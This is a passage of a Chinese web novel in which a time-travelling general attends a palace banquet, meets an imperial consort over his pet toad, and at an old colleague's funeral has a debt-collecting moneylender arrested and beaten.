现在辽东来的大爹要给你进行普法教育宣传,连带着我们这群小弟也跟着倒霉,天天都要防着有人给你一刀子,提心吊胆的不得安生,造的什么孽啊这是! 其实应开疆一开始还真没想着南下高丽国,只是单纯的想敲醒高荣那颗不太灵光的脑袋,让他看清楚谁才是东北亚的老大。 但是打着打着,他突然发现一件事,文训迟早都会来辽东找自己喝酒,聊聊当年一起睡上下铺的日子。所以用辽东两府作为自己的养老保险,显然不太保险。 况且辽东要对付的可不光是大郑,契丹和靺鞨分出胜负后,肯定会将目光移向这里。他们只是暂时没时间,并不是没有这种世俗的想法。 他们如果骑马来串门,可就不是从地势险峻的临闾关了,而是一马平川的松嫩平原。 高丽境内的狼林山脉交错纵横,大规模骑兵铺展不开,非常适合依托地形以少打多。南边的汉城也比辽东温暖,是个宜居的城市。听说还有个什么济州岛,气候堪比江南水乡。 如果能占领那里的话,即使失去辽东,自己也不至于陷入绝境。 就这样,应开疆一边打一边想,等到他回过神来时,燕军已经兵临汉城城下了。 啧…… 来都来了…… —— 当应开疆攻陷汉城,将高丽王高荣挂在汉城北门cos风铃的消息传到汴京后,一向深居简出的文训难得有了反应。 他让文若和中书门下拟旨意,派使者前往辽东,正式以大郑皇帝的身份册封应开疆为辽东王、兼任襄平、辽东两地知府,代牧高丽地区。 兄弟阋于墙,外御其辱嘛~ 汉家王朝再怎么内斗,也不是什么臭鱼烂虾都能跳出来挑衅的,这事办的不错。我老了,你也老了,就在那里好好养老吧。 这道旨意无异于一道免死金牌,应开疆是真没想到还有意外之喜,立刻撤去燕王称号,认领辽东王,给文训写了一封肉麻的要死的札子: 以前年轻那会就觉得你有龙凤之姿,不是池中之物。你看我没说错吧?当初我也是被契丹突厥那帮蛮子裹挟的,再加上心智不成熟才酿成大错。 如今我也知道错了,也在悔改了,你能允许我这风烛残年的病躯自己油尽灯枯,我很开心!老哥哥,弟弟想你啊! 应开疆明显已经缓过劲来了,收拾他费时费力不说,就算赢了也是得不偿失。辽东的问题,就留给后继之君吧~ 文训能在有生之年平蜀灭唐,就已经很满足了。 政治嘛,今天是朋友,明天是仇人,后天依旧可以是朋友,从来就没有非黑即白,更没有爱憎分明。 只要活着,就有希望,就有无限可能。 —— 乾元殿前,宽阔的白石广场上,无数官员鱼贯而入,互相交谈着,一起前往后方明德殿,参加陛下举办的蝉鸣宴。 陛下的心思最近越来越难揣测了,几乎是放权了一般,将所有事物都交给了太子,他自己整天呆在宫里摆花弄草,白天逗小圣孙,晚上逗淑…… 咳咳,反正就是有股不理朝政、先贤后昏的趋势。 林济远每天都会站在皇帝的寝宫前面唾沫横飞,引经据典的叫老文不要学汉武帝和唐玄宗,一定要振作起来打起精神为国家燃尽最后一滴蜡,比上班打卡还准时,风雨无阻。 文训烦的要死,又无可奈何,索性让何关给他专门搬了个凳子,端杯茶放他身边,爱骂就骂去吧~ 相比于林济远和他手下的那帮喷子,文训更加在意另一群人的看法—— 写起居注的郎中。 这帮人无论是在朝堂上还是在禁中,都是一言不发,跟得了自闭症似的立在一旁。宛若影子一般,有时候甚至都会让人忘记了他们的存在。 但他们手中的笔,可从来没有停过。 寡言史官,心思难猜。 比刚直,这群人能甩御史台十八条街,那些不添加任何主观判断的字句只要落下,绝无更改的可能!皇帝想要查看起居注,除非先杀了他们。 但杀史官这件事,也会被记下来。 不做亏心事,不怕鬼敲门,究竟是什么原因导致你宁可杀了史官也要查看或者篡改其中的内容呢? 然后,你就会知道野史能有多野了。 为了不被这帮家伙记录成昏庸荒淫的君主,文训只能定期露面,表示自己还关心着朝堂天下,现在的一切都只是为了锻炼太子的政务能力,大家(当然主要是史官们)千万不要误会。 凌晨立在东侧的殿柱下,将疙瘩宝放在栏杆上,看着台阶下说说笑笑、三五结伴的朝臣们,感受着迎面吹来的微风,说不出的惬意和舒服。 无关心情,就是喜欢这种感觉。 “我伫立在这里倾听~风的声音~” 但是下一刻,他就不开心了。 因为明德殿前这个该死的内官,阴阳人烂屁股,不允许自己的疙瘩宝进殿。 蝉鸣宴会是皇帝为百官设立的私宴,并不是正式宴会,而且文训为了让宴会能够真正有那种轻松自在的氛围,也确实下旨叫大家一定要自然,不可拘束。 在这里一本正经,是要罚酒的。 所以朝臣勋贵们拖儿带女的、身着奇装异服的、头顶绑着绷带的、醉的找不着北的、高声喧哗唱歌的……总之各种各样的奇葩造型和行为都有。陛下说话还是很算话的,说不追究,就不追究。 只要你不是裸奔,他绝对不管。 所以疙瘩宝被拦下,凌晨很生气!他事先还担心会有麻烦,专门找何关给疙瘩宝要了块禁中行走的殿前司腰牌。可这次负责宴会的是淑妃的人,说不让它进,就是不让进。 “你看清楚,它可不是普通的癞蛤蟆!看见它嘴里叼的这块小型腰牌了吗?它是我们殿前司的工作……蛙员,是有身份的,你新来的?敢拦我们殿前司的兄弟?” 这名内官显然是个死脑筋,在他眼里,凌晨提着疙瘩宝参加宴会和裸奔没有区别。于是,不管凌晨在他面前如何的气急败坏、费力解释,他都面无表情的不断摇头。 妈的! 凌晨气的放下疙瘩宝,双手替换着开始挽袖子了,他要让眼前这个扑克脸好好…… “可是临颍侯?” 就在凌晨准备掏这名内官并不存在的小鸡鸡时,一道雍容华贵的声音从耳畔传来,打断了他的行为。 扭头望去,殿外宽阔的走廊旁,站着一个女人。 她的脸型清瘦,肌肤却比较饱满,并没有塌陷或者起皱,看年龄应该在四十左右。发饰比较简单,只在左侧斜别着一根蓝色的簪子;碎紫珠从左往右藏在发丝中,若隐若现;两个耳垂上扎着很小的白珠,清新淡雅,简洁大方。 嘴角噙着淡淡的笑意,目光中满是慈爱悲悯,淡黄色的双雀向月,既能让人感受到身份的尊贵,又不会让人生出距离和界限感。只是跟她对视一眼,便让人如沐春风,心情不自觉的好了起来。 这是一位温和知性、令人忍不住产生尊敬之情的长辈。 “末将见过淑妃娘娘。” 见凌晨问都没问就跪了下来朝自己行礼,淑妃的脸上竟然露出女儿般的好奇和惊讶,立刻笑着伸手虚扶道: “快快起来,侯爷是陛下所倚重的爱将,心腹肱骨。何须向本宫客气?只可惜我位分低贱,当年在汝南时,不得一见。今日也算全了心愿,果然是英雄出少年。” 少年啥啊,都奔三了。 “娘娘谬赞了,末将一介武夫,加之年轻莽撞,言语粗鄙、行为俗劣,若是不小心冒犯到了,您可千万提点海涵。” 淑妃笑着向前走来,她身后的内官宫女们大都两手空空,只有最靠近她的那个女官手中握着一把象牙雕扇,好像是用蚕丝编织成的薄扇面在为淑妃扇风去暑。 “本宫听说你家娘子此次并未前来,是……” “臣妻三个月前刚刚产下女儿,虽说身体渐渐恢复了,可这心情不知怎的,一直有些闷闷不乐。若是前来赴宴,只恐扰了大家兴致,所以就没有跟来。” 说到这些,淑妃露出了思索的神色:“咦……本宫这才想起来,你是不是只有一位正室,并无偏房?” “正是。” “弱水三千,只取一瓢。以你的功劳和资历……”说着说着,淑妃自己止住了话语,释然一笑:“你很特别,难怪陛下会如此倚重。” 还不等凌晨回答,淑妃又开口了:“女子生产后心绪郁结也是常有的,你不必过于忧虑,等她身子彻底将养好了,挑个风和日丽的时候,多带她出去走走,也就好了。” 凌晨连忙行礼道:“谢娘娘教诲,末将谨记于心。” 寒暄过后,淑妃这才注意到凌晨两个手臂上挽起的袖子,疑惑的问道:“你这是……” “昂……” 凌晨连忙把两只袖子捋了下来,嘿嘿傻笑着掩饰尴尬,有种小时候干坏事被老师发现的心虚感。 可他万万没有想到,旁边这个死人脸竟然恶人先告起了状:“启禀娘娘,方才侯爷要提着自己的爱宠进殿,奴婢不敢放行,所以侯爷可能是要对奴婢动粗。” “……” 凌晨皮笑肉不笑的看了一眼身旁的内官,又笑着看向淑妃,狡辩道:“并非如此,只是夏日炎热,末将惧怕暑气,所以才将袖子挽起。这位公人误会我了,娘娘莫要听信他的胡乱揣测。” 淑妃依旧保持着淡淡的笑意,只是眼神一直在凌晨和内官身上来回交替,明显是在判断谁真谁假。 “什么爱宠?让本宫看看。” 凌晨听后面色为难的说道:“这……末将的玩物有些奇特,怕是会惊了娘娘,还是不要了吧……” 淑妃却摇头笑道:“无妨,本宫幼时也曾与姐妹们池塘摸鱼、上树掏窝,此乃天性使然,没有什么不好意思的。再说本宫也很好奇,蝉鸣宴会讲究随意洒脱,并不禁梏,你究竟是带了什么新奇的东西,才被拦下了。” 嗯……行吧,是你自己要看的哦~ 凌晨抬动脚步,将身子往一旁挪了挪,露出了一直挡在身后的鸟笼子,笼子里的疙瘩宝嘴里依旧叼着殿前司的腰牌,两只大眼睛无辜的看着眼前的人类们。 淑妃的眼睛瞬间瞪大,脚步微微向后退了一步,给她扇风的那名女官连忙上前扶住她的胳膊,也是一脸震惊和疑惑的看向凌晨。 “娘娘恕罪,此物并非一般的野蛙,乃是琅琊郡公的公子从池子里抓来的。小孩子嘛,玩兴过了也就不感兴趣了。 臣不忍见它干渴而死,觉得遇见就是缘分,便寻了个笼子把它带在身边。到如今朝夕相伴,已经有了感情…… 不过没关系,既然公人觉得不妥,我也不会因为自己的缘故让大家为难的,我这就带它离去,娘娘恕罪。” 说罢,凌晨便弯下腰提起鸟笼,转身就准备走,却被淑妃出声劝住:“且慢。” 凌晨扭头看向淑妃,疑惑的问道:“娘娘还有什么吩咐?” 此时的淑妃已经没了先前的淑雅,脸上害怕的表情也掩藏不住,她抿了抿嘴后,艰难的说道: “侯爷是殿前司的将军,不去参加宴会怎么能行,陛下吩咐本宫操办,若是侯爷都进不去,还有何人可以进去? 只是此物虽与侯爷感情深厚,但到底有些奇特,殿内赴宴之人中,有不少是孩童和文人,见到以后若是受了惊吓、亦或是在侯爷不注意的时候有孩子逗弄,万一咬了手可就不好了。” 凌晨茫然的看着眼前的淑妃,那你到底是让我进还是不让我进?叽里咕噜一大堆,给个准话呀! 淑妃盯着凌晨手里的疙瘩宝,面色似乎有些挣扎。最终,她抬头看向凌晨: “要不这样吧,侯爷就将此物交与我来保管,待宴会结束、亦或是侯爷准备动身离席了,只管寻我来要就是。” “这……这如何使得,从来只有臣子为主上分忧,岂有娘娘为臣……” 凌晨的话才说到一半,就被淑妃有些强势的打断: “哎~些许小事而已,你又何必时刻注意尊卑分别,难道忘记了今天蝉鸣宴会?今日不分上下,再拖着不肯进去,可是要罚酒的。” 啊这…… 凌晨还是有些顾虑,这娘们热情的有点过分了,第一天认识就这么照顾自己,这都属于降尊结交了。 究竟是她本性如此,还是别有所图呢? “行……吧,那末将就冒犯了,娘娘恕罪。” 淑妃淡然一笑,朝着一旁的女官挥了挥手。 那女官深吸了一口气,皱着眉很不情愿的走到凌晨面前,艰难的伸出双手,明显有些畏惧疙瘩宝。 凌晨笑着将鸟笼放在她手上,女官手接住了,腿和腰腹却下意识的向后一躲,表情管理失败,微微呲着牙退回了淑妃身后。 “快进去吧~” “多谢娘娘。” 微笑着目送凌晨进入殿内后,淑妃脸上的笑意不减,扭头看向女官手中的疙瘩宝,若有所思。 忽然,她朝着女官伸了伸手。 女官小心翼翼的将鸟笼双手举了起来,呈到淑妃面前。 淑妃伸出手指,就这么放进笼子里曲了曲,逗的疙瘩宝还以为要喂什么虫子了,努力挪动着四条腿往前爬了爬。 “有意思~” 第154章 故人西辞 直到淑妃和一众女官、宫女、内官缓缓离去后,隐身在柱子后的凌晨才皱起眉头。 这位淑妃娘娘有点表里不一啊,不就一只癞蛤蟆吗?怕就是怕,不怕就是不怕,这么拐弯抹角的干嘛? 你替我收容疙瘩宝,我也不会就此感恩戴德,帮你做些什么。你对我恶语相向、态度糟糕,我也不会对你产生敌意。 只要你别折腾,让大郑安宁稳定,我们就是天然的盟友。如果你有远大的理想,哪怕我爱上四十岁绝经的你,不嫌恶心的滚到一个被窝里去打扑克,也照杀不误。 这年头的npc戏这么多吗? 那名内官敢阻拦凌晨入宴,很有可能就是为了刻意制造他与淑妃的偶遇。否则一个普普通通的死太监,吃了熊心豹子胆敢拦统率京畿所有军队的殿帅? 文训早已有言在先,皇宫禁中,凌晨无有不往。他家没连wifi还是被全皇宫的人孤立了?会连这个都不知道? 所以,当凌晨被拦下的那一刻,他就明白,今天一定是有人要见自己。那就陪对方玩玩,看看是哪座山的猴子腚这么红。 否则,他只要单个动动耳朵,手中装着疙瘩宝的鸟笼自然就隐身了,还用得着跟他在这废话? 谁是猎人,谁是猎物,由我决定。 今年的蝉鸣宴会没什么新奇的,随便吃了两口凌晨就回家了,顺带还给青柠带了一包用菏叶包裹的水晶鱼片。 距离生完孩子已经过去四个月了,青柠的脸蛋没有多大变化,但是胳膊、肚子和小腿都有些浮肿,凌晨猜测她心情不好可能是和这个有关。 女孩子嘛~多少都会在意自己的容貌和身材,谁也不想自己变成一颗胖球不是? 尽管内心觉得无所谓,但是为了能让她开心,尽快走出产后抑郁,凌晨也是使出了浑身解数,甚至不惜穿上女装给青柠跳过极乐净土。 现在,青柠正在满头大汗的做着凌晨教给她的开合跳和胯下击掌。见到凌晨回来了,青柠依旧没有停下运动。 “相公怎么这么早就回来了?” 凌晨将水晶鱼片放在桌子上后,走到搭了围栏的床边,看着用奇怪的姿势睡的正香的腰果,淡淡的回答道: “宴会厅里面太吵了,我不喜欢那种吵闹的氛围,捞了两筷子就回来了。对了,我去尚食局给你打包了一份水晶鱼片,感觉还不错,你一会尝尝。” “嗯~” 青柠动作不停,鬓边的发丝都被汗水浸湿,紧紧贴在脸上,下巴上的汗珠滴落下来,虽然穿的轻薄,但身上的衣服还是湿透了。 “我今天跳了三百多下跳绳,相公做的那个竹制呼啦圈我也会扭了,现在终于不会再掉下来了。” 青柠对着凌晨炫耀自己的成绩和突破,凌晨听的莞尔一笑,目光中尽是宠溺: “嗯,今天比昨天会的东西多一点点,就是非常值得庆贺的一件事。娘子戒骄戒躁,保持干劲,继续努力。” 青柠听得直接翻了个白眼:“这场面话,留着等你女儿长大以后对她说去吧~” 呃…… “柠儿,你有没有看过一出戏,叫《不要和陌生人人说话》?” 青柠侧对着凌晨,手中的动作不减,脸上却露出了疑惑的表情:“嗯?这是梨园新出的戏吗?” 凌晨嘿嘿笑着说道:“不是,梨园演不出这戏,就是……里面有个叫安嘉和的,他对自己的娘子可好了,我一直想学习他~” “呼~呼~好端端的学他人干嘛?相公对我挺好的,我不羡慕他人。你也别学,听到没?” “噗……好。” 凌晨低下头都快笑抽了,要是大郑有手机有网,他高低得给青柠见识一下什么叫来自变态家暴男的深情爱意。 望着努力运动的老婆和襁褓中熟睡的女儿,凌晨翘起二郎腿,两手交叉搭在膝盖上,舒舒服服的打了个哈欠。 窗外传来金水河畔的起伏蛙鸣,皓月当空,繁星点点。孩子睡的香甜,夫妻灯下闲话,没有对前途的迷茫,没有对未来的焦虑,一切都是那么温馨安然。 心满意足。 国泰民安,风调雨顺,大郑真好。 可是,第二天一大早睡醒后,凌晨就收到了一个让他心情不那么美丽的消息—— 聂与为去世了。 老头子是开封府治下许县的一个平凡乡绅,凌晨第一次认识他,还是当年冯延走马上任开封城那会。 彼时的大周动荡不安。北方应开疆刚刚击败贺唯忠率领的朝廷大军,东边青州安王赵世中刚刚扯起反旗,开封城中校尉成万和别驾孙礼互相勾结,想要弄死冯延自主创业。 正是祸不单行的日子。 冯延紧急调动颍川府各地精干官吏进入开封,其实就是安插亲信控制府衙大权。凌晨和聂与为皆在此列。 只不过其他人都是二三十岁的青壮年,而这位老者已经年近七旬了,依旧拖着垂老之躯奔赴开封上任。 老头私下里人品怎么样凌晨不清楚,但他确实为颍川父老做了许多实事和贡献。 当初全颍川的父老忙碌奔波,积攒钱粮军械,扩充皂吏更夫,因此才没有在乱世中被其他州府吞并或者侵扰。这其中就有聂无为的身影。 冯延与凌晨前往邺城赴孙芝的鸿门宴,是聂无为和一众官员武将,辅佐张承留守在颍川府,才保得一方平安。 后来在引进人才、招揽北方难民时,老头说话都喘气,但还是强撑着打起精神与凌晨、张承商议制定事情的具体细节。对于他这个年纪的人来说,确实不容易。 颍川府能够成为开封府,开封城能够成为天下京师、大郑帝国的心脏,聂无为是出了力的。 历经两朝,宦海沉浮;老骥伏枥,引亢嘶鸣。 真正做到了春蚕到死丝方尽,蜡炬成灰泪始干。 国士无双。 想起他那垂垂老矣的佝偻背影、遍布老年斑的沧桑面孔、累到总是双肩起伏、努力呼吸的神态模样,以及披着衣服伏在案桌上,一手举着油灯一手握着毛笔,努力想要看清纸上字迹的模样…… 一念及此,即使是凌晨这样凉薄的人,也不禁红了眼眶。 在解二的陪同下,凌晨只穿着一身便衣,骑马来到了聂府。 门头挂着白色灯笼,家丁和下人都头戴素巾,身着麻衣。前来参加葬礼的人也不多,三三两两的,都是些下级官吏和拄杖老者。 走进府内后凌晨才发现,这里只是一座三进院落,相比于其他乘风而起的颍川士族,聂无为家里确实有些寒酸了。 神情肃穆的取来褐香点燃后,凌晨默默拜了三拜,将香柱插进了陶制的香炉中,望着灵牌一言不发。 “取笔墨来。” 听到凌晨要笔墨,聂无为的大儿子,一个快五十岁的老头子连忙叫儿子端来笔墨纸砚,凌晨用毛笔饱蘸浓墨,思量一番后,挥笔落毫—— 伊吕两衰翁,历遍穷通。一为钓叟一耕佣。若使当年身不遇,老了英雄。 汤武偶相逢,风虎云龙。兴亡只在谈笑中。直至如今千载后,谁与争功。 落款:凌晨。 他刚刚题完挽词,冯延和张承就联袂而来,看到凌晨也在这里后,二人先是一愣,紧接着各自面露伤感之色。 点头示意后,凌晨走到一旁的贵客席坐下,冯延和张承也挨个敬香祭奠,完事后来到了凌晨身边,一同落座。 “唉……” 冯延看着往来祭拜的宾客,重重的叹了一口气,他跟聂无为认识的也早了,还是临颍知县时就已经有所接触,后来更是一路同心协力,方有今日。 多少艰难困苦的日子都熬过来了,好不容易到了享福的时候,聂无为却驾鹤西去了,怎么不叫人唏嘘感慨呢…… “聂老……对陛下、对开封百姓都是有功的。”张承闭上眼睛,吐出这么一句。 “生死有命,就这样吧……” 伤感和悲戚的氛围充斥在正堂灵柩前,儿孙们迎接着一波又一波的客人,女眷们带着尖尖的孝服,掩面哭泣。宾客们小声交谈着,个个都神情严肃,愁眉不展,为之哀恸。 “聂老为官多年,清正廉洁,又不喜钻营媚上,所以前半生一直有志难伸。若不是赶上风云际会,怕是这辈子就这样碌碌而终。” 今天的张承跟往常不同,话多了不少,似乎有很多心事,不吐不快。 凌晨接茬道:“时也命也,终究还是让他赶上了,这一辈子没白活。从龙建纲,史官自然会记上一笔,也能给子孙留下一份萌阴。人生如此,也足了。” 听完凌晨的话后,张承摇头说道:“并非如此,聂老为官一生,所做所为令人钦佩。但他的子孙皆是平庸之姿,就说那长子聂孝义,空承许昌县伯,不会机谋巧算,更不通商贾营生,唉!” 凌晨听得一头雾水:“那又如何?陛下迄今为止并没有层递削爵的旨意,只要爵位还在,日子总能过下去。” “话不是这样说,屋有千两金,难挡败家子,他那长孙就是个不学无术的。三十好几了也没个功名,整日流连花船绣坊,不知创业之艰。 我听说前些日子还把聂老唯一的喜玩拿去金玉阁抵了钱财。今日聂老骤然逝去,那小子迄今为止还没出现,怕是昨夜又睡在哪个芙蓉帐呢。喏,那边负责接待的那个,是聂老的二孙。” 听到张承说完这些,凌晨人都傻了,那可真是子孙不肖啊…… “祖父——!!” 就在三人静坐闲谈时,从屋外冲进来一个三十多岁的男子,头发散乱、面色苍白、眼窝子发青,衣服都没怎么穿好,连滚带爬扑到灵柩前,趴在棺材上就失声痛哭起来。 聂无为的大儿子聂孝义看到这个不成器的逆子竟然以这副荒唐样子来到灵堂,顿时就气不打一处来,抖着手指着他骂道:“你给我滚出去!!” 谁知对方却不管不顾,鼻涕眼泪都滴落下来,拉成丝了都…… 冯延见状,就起身准备离开了,清官难断家务事,这种情况下他继续待着有失身份,也不好待。 老上司都起来了,张承和凌晨立刻也跟着站了起来。 聂孝义见到兵部尚书和京兆尹、殿帅同时起身,心中一惊,连忙跑过来拱着手赔礼道:“家有逆子,失礼无状,叫几位大人见笑了。” 冯延摆手说道:“无妨,本官也是前来吊谒老同僚,顺便闲坐歇息。朝中事务颇多,不便久待,你且住,不必相送。” 聂孝义连忙恭恭敬敬的说道:“自然是国事要紧,尚书大人请~” 客套完后,三人一起走出正屋,穿过院子来到了聂府大门前。 冯延和张承各自和凌晨道别,钻进了护卫随从层层保护的轿子中,凌晨立在大门口的石狮子旁,目送着他们远去。 “我们也……” 正当他准备跟解二也离开时,突然语气一顿。 因为他看的一群眼瞅着就不像正经人的家伙停在了聂府门前。这帮人挎刀骑马,各个神色桀骜,言谈笑闹,行为举止颇为放荡。 在刚刚去世了老人的宅门前嘻嘻哈哈,这特么能是好人? 凌晨背起双手,就这么立在石狮子旁,看着领头的那个锦衣少年握着马鞭,领着四个随从说说笑笑的进入了聂府。 老聂这辈子真的不容易啊,常言道:一了百了;有诗云:死去元知万事空。 估计他怎么也不会想到,自己都死了,还能有一劫。 凌晨抬动脚步跟了进去,解二没有跟着一起去,而是转身离开了。 这帮不速之客,祭拜的时候轻率敷衍,弯腰鞠躬的时候都没有低头,总是带着一股轻浮的笑容,尤其是领头的那个年轻人,插香的时候竟然用单手。 “聂县伯,令尊去世,晚辈深觉哀痛,希望你也能节哀顺变。”年轻人背着手打量着灵堂里的布置,一颗脑袋一上一下的晃着,惹的屋内宾客纷纷侧目怒视。 聂孝义也皱起了眉头,冷哼道:“足下是何人?能拨冗前来祭奠家父,老夫感激不尽,可若是趁机寻衅滋事,可别怪老夫扫地失礼了!” 年轻人丝毫不在意,轻蔑的歪着头看了看眼前的聂孝义后,又将目光看向了趴在灵柩上痛苦的聂游之。 “令郎以这座府邸房、地契为抵押,在我这里记了两千两纹银,这是字据,还请聂县伯过目。” 什么?! 聂孝义满脸震惊的看着对方递过来的字据,颤抖着双手握住,一行一行的看完,顿时仰面朝天。要不是二儿子及时上前托住,怕是要直接倒地不起。 “逆子!!!!” 整个灵堂顿时乱作一团,许昌县伯挥舞着一道灵幡追着被酒色掏空身子的大儿子抽打,二儿子面色焦急的阻拦。五个不速之客立在中央静静的看着这一切,毫不在意甚至还有点看戏的意思。 宾客们更是满脸抓马,女人们哭的声音更大了,乱作一团。 马来隔壁! 凌晨的脸瞬间就沉了下来,快步走进屋子里,旁若无人的拨开那四个挡路的壮汉,走到祸根苗背后,拽着他的衣服将对方扯转过来。 “足下何人?” “你是谁家的小子?” 这位年轻的债主一脸懵逼的看着眼前脸色阴沉的快要滴出水的凌晨,伸手制止了随从们想要上前的举动。 他很会察言观色,眼前这人虽然年纪跟自己相仿,但那一身上位者的气势却怎么也掩藏不了。而且对方根本不把自己的随从们放在眼里,一开口就是老气横秋的长辈口吻,在没搞清楚情况之前,他是绝对不会贸然得罪对方的。 “我……在下洛阳蒲家,蒲盛。” “你父母就是这么教你的?在人灵前要债?刚才兵部尚书都是双手敬香,你哪来的胆子单手插香的?” “足…足下是……” “我叫凌晨。” 蒲盛听到这个名字后,双眼浮现出一丝迷茫,京城姓凌的纨绔子弟,好像没有听说过啊…… 好像就只有那个……哎? 蒲盛的大脑飞速运转,拼命整合自己听说过的信息,直到和眼前的人渐渐重合,一颗心瞬间坠入谷底,额头上冒出了微微细汗。 不会吧……不会这么巧吧…… “可……可是殿……殿帅?” 凌晨毫不客气的推开他,冷声说道:“既然你还有点见识,那为何要做出如此失礼之举?灵前要债,亏你干得出来!今天不说出个一二三来,你别想竖着离开这里。” 蒲盛“噗通”一声就跪了下来,面色苍白的说道:“禀…禀将军,实是聂府游之公子在小人这儿支了银子,已经逾期两月,怎么要都躲着不还,小人实在没办法了,才……才出此下策。 适才只是无奈之举,并非对老县伯心存不敬啊!长者逝去,小人再怎么混账,也不敢借此无状,只是……只是实在没有办法了……” 在聂无为的灵前,凌晨不想在弄出什么幺蛾子,于是一脚踢在蒲盛身上,怒喝道:“再给你一次活命的机会,滚去重新敬香!” 蒲盛如蒙大赦,挨了一脚不但没有恼怒,反而长长的松了一口气。 他连忙爬起来跑到桌子前,颤着手重新取了三根香,恭恭敬敬的点燃,领着四个一脸懵逼的随从,规规矩矩的鞠躬。 双手捏着香柱插进香炉里后,蒲盛又整理好身前的垂衫,庄重的跪了下来,多磕了三个头为刚才的行为赔罪。 凌晨皱眉瞅着他们,这才心里舒坦了点。 第155章 一步登天 蒲盛小心翼翼的起身,走到凌晨身边吞了吞口水,开口问道:“将军,那小人这……这借据银两?” 凌晨望着被二儿子抱住腰,气喘吁吁的聂孝义,以及躲在灵柩后面的聂游之,沉默片刻后,不耐烦的看向蒲盛:“他借了多少?” “两千两。” “唉!”凌晨双手叉腰,无奈的叹了一口气后,对着蒲盛低声说道: “你这么的,你去临颍侯府,叫门房给你支两千两,你拿去吧,这借据就放这里了。” 凌晨对着蒲盛说完后,看向趴在聂无为棺材上、小心的用眼睛偷瞄着老爹动作的聂游之。心里已经盘算着怎么给这个巨婴丰富一下生活了,高低得给他整个《变形计》。 护庄队、分拣站、印刷坊,有的是方法和手段让他回归正道。 等凌晨想的差不多后,余光察觉到微样,扭头一看,蒲盛这个傻鸟还立在自己身旁没动。 “你怎么还在这里啊?赶紧去啊!要我亲自取来送到你手上吗?” 蒲盛一直合着两只手抱拳立在凌晨身边,等着对方主动开口。听到凌晨询问后,他立刻喜笑颜开的堆起谄媚的笑脸,说出了让凌晨都感到不可思议的话语—— “将军,账不是这么算的,两千两只是本金,还有利息呢~” “哦……呵呵呵~~” 凌晨恍然大悟,哈哈笑着拍了拍蒲盛的肩膀,用手指着他的鼻子笑道:“你小子……哈哈哈~我还想蒙混过去呢!好,你说吧,加上利息多少?” “总共是五千七百四十二两,剩下的就抹了。” 凌晨看错这小子了,他还以为对方是个高段位的,没想到是个要钱不要命的主。 他搂住蒲盛的脖子,笑嘻嘻的拉着他就走出了灵堂,一路往大门外走去。 “那些零头……抹了真的没关系吗?你们的账上万一出现纰漏怎么办?会不会对总账有影响?” “不会的将军,小人自己把那些填上就行了,就是……小人也是按规矩办事,还望将军能够理解,家族信誉不能丢,这招牌要是砸了,小人以后的生意就难做了。” 以后?什么以后? “哎~说这些,我懂我懂,那你就去支五千七百四十三两嘛~” “这怎么行呢将军,这……” “怎么?你瞧不起我?我好歹也是咱们大郑的殿帅,食邑四百户的临颍侯好吧!收下,必须收下!” “这……” “嗯?” “好好好,那小人就斗胆收下了,侯爷真是好人呐……” “哪里哪里~” 二人一路鬼扯着来到了聂府大门口,门口的景象却让蒲盛愣住了。 几十名开封府衙负责治安的衙役和押司个个手握刀剑,将他带来的随从们都反手扣住绑了起来,马也被牵走了。 左巡院侯明单手按住刀柄,膀大腰圆的挺着小肚子立在门前,扭头看向走出来的凌晨等人。解二双手抱胸,下巴高高扬起,正在用鼻孔看着蒲盛。 蒲盛缩了缩脖子,有些疑惑的看向凌晨:“侯爷,这……” 凌晨搂着他下了台阶,拍着他的胸膛安慰道:“没事,可能是误会了。来,我给你介绍一下,这位是咱们开封府的左巡院侯明。老侯,我熟人~~你放心,还能把你怎么样了不成?哈哈哈哈~~” 蒲盛干笑着看向一脸冷漠的侯明,总觉得哪里不对劲。 等到凌晨搂着蒲盛来到侯明面前后,跟在他们身后的四个随从立刻就被衙役们热情的笑着走上前,按住手臂开始了麻绳捆绑。 两个黑衣押司也走上前来,从凌晨手中接过蒲盛,分别立在两边把他的胳膊掰到身后,小脖上麻绳一套,用脚踩在他的腰屁股上用力束紧,熟练的不要不要的。 蒲盛疑惑的看向凌晨:“侯爷……这……这不对吧?” “对的对的,哎呀~咱们汴京城跟地方上不一样嘛~你放心,就是普通的走个流程,去了之后你把事情跟他们说一下,晚上就能回家吃饭了,放心吧啊~” 直到被死死捆住,勒的胳膊生疼后,蒲盛这才反应过来,脸色慌张的看向凌晨:“侯……侯爷,那个……我不要利息了,利息…我用自己的钱填补上。” 凌晨皱起眉毛,怪笑着用看傻子的眼神望向蒲盛:“这傻孩子,说什么胡话呢?你们蒲家有自己的借贷规则,可不能破了,这不是你自己说的吗?你就别白费力气了,你求我,我也不会放过你的。” 蒲盛听后亡魂大冒!连忙挣脱两个押司的控制,“噗通”一声跪了下来:“侯爷!侯爷!欠债还钱天经地义啊侯爷!纵使您身居高位,也不能这么欺负平头百姓吧?!!” 听完这句话后,凌晨收起了笑容,居高临下的盯着蒲盛的眼睛,一字一句的说道: “你也不去打听打听,整个汴京城,整个大郑,谁敢收我的钱?就怕你有命拿没命花。聂老县伯是老子和京兆尹大人的多年同僚,还是尚书大人的旧部。就是皇亲国戚,也得给他几分薄面。 你好大的胆子,竟然敢公然搅扰灵堂!是,欠债还钱天经地义,我也答应还你本金了,但我是真没想到,你敲竹杠把自己脑浆子晃匀了?竟然敢找我要利息~” 蒲盛急忙说道:“侯爷!白纸黑字的借据写的明明白白,小人并没有胡乱要价啊!当初立字据时,聂家公子也是知道的,你情我愿的事,小人并没有撒谎啊……” 凌晨深吸了一口气,脸上挂着淡淡的笑容:“哦?这么说……还是本侯理亏了?” “那……那倒不是……” “哎老侯,这种大郑律一般怎么判?” 凌晨扭头看向侯明,侯明嘴角翘起,根本没把跪在地上的蒲盛当人:“不事生产,借难盘剥百姓,敲诈当朝公侯,搅扰白事灵堂,斩立决!” 轰—— 斩立决三个字出来的时候,蒲盛整个人身子一抖,急忙哭着对凌晨说道:“侯爷!侯爷!小人知道错了,小人家中还有高堂年迈无人照顾,妻儿等着回去……” “啊——” 凌晨猛的脸色一变,惊喜的竖起右手食指:“你不说我差点都忘了!你放心,我这个人最是心软,见不得别人妻离子散。我这就休书一封给洛阳府尹贾公,保证让你们一家团聚,绝不落下一人。” 眼见凌晨是铁了心不打算放过自己了,蒲盛由惊转怒,气的就要站起身来扑向凌晨。两个押司眼疾手快,踹着他的腿弯就摔倒在地,立刻上前一左一右按住胡乱扭动的蒲盛。 “凌晨!你不得好死!你个狗……” 解二放下抱在胸前的双手,快步走上前去,用力一脚踹在蒲盛的脸上,带血的牙齿散落一地,污血凝而不散。 